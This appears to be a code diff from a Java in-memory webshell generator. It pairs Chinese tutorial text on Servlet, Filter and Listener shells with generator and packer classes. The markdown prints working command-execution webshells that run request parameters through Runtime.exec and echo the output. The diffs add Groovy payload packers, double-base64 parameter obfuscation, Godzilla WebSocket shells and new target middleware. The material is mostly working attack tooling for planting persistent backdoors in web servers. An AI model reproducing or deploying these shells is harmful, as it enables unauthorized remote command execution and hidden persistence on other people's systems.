String cmd = servletRequest.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void destroy() {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
# Event Listeners
|
||||||
|
|
||||||
|
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
|
||||||
|
|
||||||
|
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
|
||||||
|
|
||||||
|
| Listener 接口类 | 描述 |
|
||||||
|
|--------------------------------------------------|---------------------------------|
|
||||||
|
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
|
||||||
|
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
|
||||||
|
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
|
||||||
|
| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 |
|
||||||
|
| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 |
|
||||||
|
| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 |
|
||||||
|
| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 |
|
||||||
|
| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 |
|
||||||
|
| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 |
|
||||||
|
| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 |
|
||||||
|
|
||||||
|
## ServletRequestListener
|
||||||
|
|
||||||
|
在编写 shell 时我们需要关注的主要就是 ServletRequestListener,在请求处理之前可以在拿到请求信息并处理(在 Filter 以及 Servlet 之前),由于它作为事件监听器的一员,并没有直接结束请求的机制,因此在对响应体重写等操作结束之后,最后还是会走到 Filter 和 Servlet 的逻辑。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public interface ServletRequestListener extends EventListener {
|
||||||
|
public void requestDestroyed(ServletRequestEvent sre);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Receives notification that a ServletRequest is about to come
|
||||||
|
* into scope of the web application.
|
||||||
|
*
|
||||||
|
* @param sre the ServletRequestEvent containing the ServletRequest
|
||||||
|
* and the ServletContext representing the web application
|
||||||
|
*/
|
||||||
|
public void requestInitialized(ServletRequestEvent sre);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
以下时使用 ServletRequestListenerShell 命令回显的代码实现。
|
||||||
|
|
||||||
|
1. 由于此处只能拿到 ServletRequestEvent,其中只有 ServletRequest,但是一般中间件实现中,ServletRequest 中都会有能获取到 ServletResponse 的方法,因此额外新增了一个 getResponseFromRequest 方法。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public class CommandListener implements ServletRequestListener {
|
||||||
|
public static String paramName;
|
||||||
|
|
||||||
|
public CommandListener() {
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void requestDestroyed(ServletRequestEvent sre) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
|
try {
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
# Java Servlet
|
||||||
|
|
||||||
|
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
|
||||||
|
|
||||||
|
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
|
||||||
|
|
||||||
|
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
|
||||||
|
|
||||||
|
## ServletContext
|
||||||
|
|
||||||
|
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
|
||||||
|
|
||||||
|
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
|
||||||
|
|
||||||
|
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
|
||||||
|
|
||||||
|
```java
|
||||||
|
addServlet(String servletName, String className);
|
||||||
|
addServlet(String servletName, Servlet servlet);
|
||||||
|
addServlet(String servletName, Class <? extends Servlet> servletClass);
|
||||||
|
addFilter(String filterName, String className);
|
||||||
|
addFilter(String filterName, Filter filter);
|
||||||
|
addFilter(String filterName, Class <? extends Filter> filterClass);
|
||||||
|
void addListener(String className);
|
||||||
|
void addListener(T t);
|
||||||
|
void addListener(Class <? extends EventListener> listenerClass);
|
||||||
|
```
|
||||||
|
|
||||||
|
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
|
||||||
|
|
||||||
|
## HttpServlet
|
||||||
|
|
||||||
|
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
|
||||||
|
|
||||||
|
```java
|
||||||
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
```
|
||||||
|
|
||||||
|
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
||||||
|
|
||||||
|
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
|
||||||
|
|
||||||
|
```java
|
||||||
|
@WebServlet(”/foo”)
|
||||||
|
public class CalculatorServlet extends HttpServlet{
|
||||||
|
//...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>foo</servlet-name>
|
||||||
|
<servlet-class>org.example.CalculatorServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>foo</servlet-name>
|
||||||
|
<url-pattern>/foo</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
```
|
||||||
|
|
||||||
|
## ServletShell
|
||||||
|
|
||||||
|
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
|
||||||
|
|
||||||
|
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
|
||||||
|
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public class CommandServlet extends HttpServlet {
|
||||||
|
public static String paramName;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
doPost(req, resp);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.generator.*;
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|||||||
@@ -15,7 +15,9 @@ import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScrip
|
|||||||
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
||||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||||
@@ -90,6 +92,9 @@ public enum Packers {
|
|||||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
||||||
|
|
||||||
Groovy(new GroovyPacker()),
|
Groovy(new GroovyPacker()),
|
||||||
|
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
|
||||||
|
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
|
||||||
|
|
||||||
Freemarker(new FreemarkerPacker()),
|
Freemarker(new FreemarkerPacker()),
|
||||||
Velocity(new VelocityPacker()),
|
Velocity(new VelocityPacker()),
|
||||||
JinJava(new JinJavaPacker()),
|
JinJava(new JinJavaPacker()),
|
||||||
|
|||||||
@@ -131,6 +131,11 @@ public enum Server {
|
|||||||
*/
|
*/
|
||||||
InforSuite(new InforSuiteShell()),
|
InforSuite(new InforSuiteShell()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 普元中间件
|
||||||
|
*/
|
||||||
|
Primeton(new GlassFishShell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* XXL-JOB
|
* XXL-JOB
|
||||||
*/
|
*/
|
||||||
@@ -152,6 +157,8 @@ public enum Server {
|
|||||||
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
||||||
.addShellClass(VALVE, GodzillaValve.class)
|
.addShellClass(VALVE, GodzillaValve.class)
|
||||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
||||||
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
|
|||||||
@@ -16,4 +16,18 @@ import lombok.experimental.SuperBuilder;
|
|||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
@Builder.Default
|
||||||
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
|
public enum Encryptor {
|
||||||
|
RAW, DOUBLE_BASE64;
|
||||||
|
|
||||||
|
public static Encryptor fromString(String encryptor) {
|
||||||
|
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||||
|
return DOUBLE_BASE64;
|
||||||
|
}
|
||||||
|
return RAW;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,8 +6,11 @@ import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
|||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
|
|
||||||
@@ -21,16 +24,35 @@ public class ListenerGenerator {
|
|||||||
|
|
||||||
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
|
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
|
||||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
||||||
|
boolean needAddGetFieldValue = false;
|
||||||
|
try {
|
||||||
|
targetClass.getMethod("getFieldValue", Object.class, String.class);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
needAddGetFieldValue = true;
|
||||||
|
}
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(targetClass)
|
.redefine(targetClass)
|
||||||
.name(newClassName)
|
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
|
||||||
.method(named("getResponseFromRequest"),
|
.method(named("getResponseFromRequest"),
|
||||||
new MethodCallReplaceVisitorWrapper(newClassName, Collections.singleton(ShellCommonUtil.class.getName()))))
|
new MethodCallReplaceVisitorWrapper(
|
||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")))
|
newClassName,
|
||||||
.make()) {
|
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||||
return unloaded.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
|
)
|
||||||
|
)
|
||||||
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
|
|
||||||
|
if (needAddGetFieldValue) {
|
||||||
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(Object.class, String.class)
|
||||||
|
.intercept(FixedValue.nullValue())
|
||||||
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
|
}
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
|
return unloaded
|
||||||
|
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
|
||||||
|
.getLoaded();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,17 +1,21 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
import com.reajason.javaweb.buddy.*;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -37,6 +41,7 @@ public class CommandGenerator {
|
|||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(commandConfig.getShellClass())
|
.redefine(commandConfig.getShellClass())
|
||||||
.name(commandConfig.getShellClassName())
|
.name(commandConfig.getShellClassName())
|
||||||
|
.field(named("paramName")).value(commandConfig.getParamName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
@@ -48,16 +53,29 @@ public class CommandGenerator {
|
|||||||
}
|
}
|
||||||
|
|
||||||
String shellType = shellConfig.getShellType();
|
String shellType = shellConfig.getShellType();
|
||||||
if (!ShellType.WEBSOCKET.equals(shellType)) {
|
|
||||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
||||||
builder = builder.visit(
|
builder = builder.visit(
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
||||||
put("paramName", commandConfig.getParamName());
|
put("paramName", commandConfig.getParamName());
|
||||||
}})
|
}})
|
||||||
);
|
);
|
||||||
} else {
|
}
|
||||||
builder = builder.field(named("paramName")).value(commandConfig.getParamName());
|
|
||||||
}
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
||||||
|
builder = builder
|
||||||
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
|
.method(named("getParam"),
|
||||||
|
new MethodCallReplaceVisitorWrapper(
|
||||||
|
commandConfig.getShellClassName(),
|
||||||
|
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||||
|
)
|
||||||
|
)
|
||||||
|
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(String.class)
|
||||||
|
.intercept(FixedValue.nullValue())
|
||||||
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
|
||||||
return builder;
|
return builder;
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/27
|
||||||
|
*/
|
||||||
|
public class DoubleBase64ParamInterceptor {
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
|
||||||
|
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.groovy;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.charset.Charset;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/11
|
||||||
|
*/
|
||||||
|
public class GroovyClassDefinerPacker implements Packer {
|
||||||
|
String template = null;
|
||||||
|
|
||||||
|
public GroovyClassDefinerPacker() {
|
||||||
|
try {
|
||||||
|
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset());
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||||
|
String injectorClassName = generateResult.getInjectorClassName();
|
||||||
|
return template.replace("{{className}}", injectorClassName)
|
||||||
|
.replace("{{base64Str}}", injectorBytesBase64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,19 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.groovy;
|
package com.reajason.javaweb.memshell.packer.groovy;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class GroovyPacker implements Packer {
|
public class GroovyPacker implements AggregatePacker {
|
||||||
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String pack(GenerateResult generateResult) {
|
|
||||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
|
||||||
return template.replace("{{script}}", script);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.groovy;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class GroovyScriptEnginePacker implements Packer {
|
||||||
|
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||||
|
return template.replace("{{script}}", script);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -58,16 +58,16 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) {
|
||||||
if (isAsm) {
|
if (isAsm) {
|
||||||
addDependency(targetJar, Opcodes.class, true, relocatePrefix);
|
addDependency(targetJar, Opcodes.class, relocatePrefix);
|
||||||
} else {
|
} else {
|
||||||
addDependency(targetJar, ByteBuddy.class, false, relocatePrefix);
|
addDependency(targetJar, ByteBuddy.class, relocatePrefix);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult,
|
||||||
String relocatePrefix, boolean isRelocateEnabled) {
|
String relocatePrefix, boolean isAsm) {
|
||||||
String dependencyPackage = isRelocateEnabled ?
|
String dependencyPackage = isAsm ?
|
||||||
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
|
Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName();
|
||||||
|
|
||||||
// Add injector class
|
// Add injector class
|
||||||
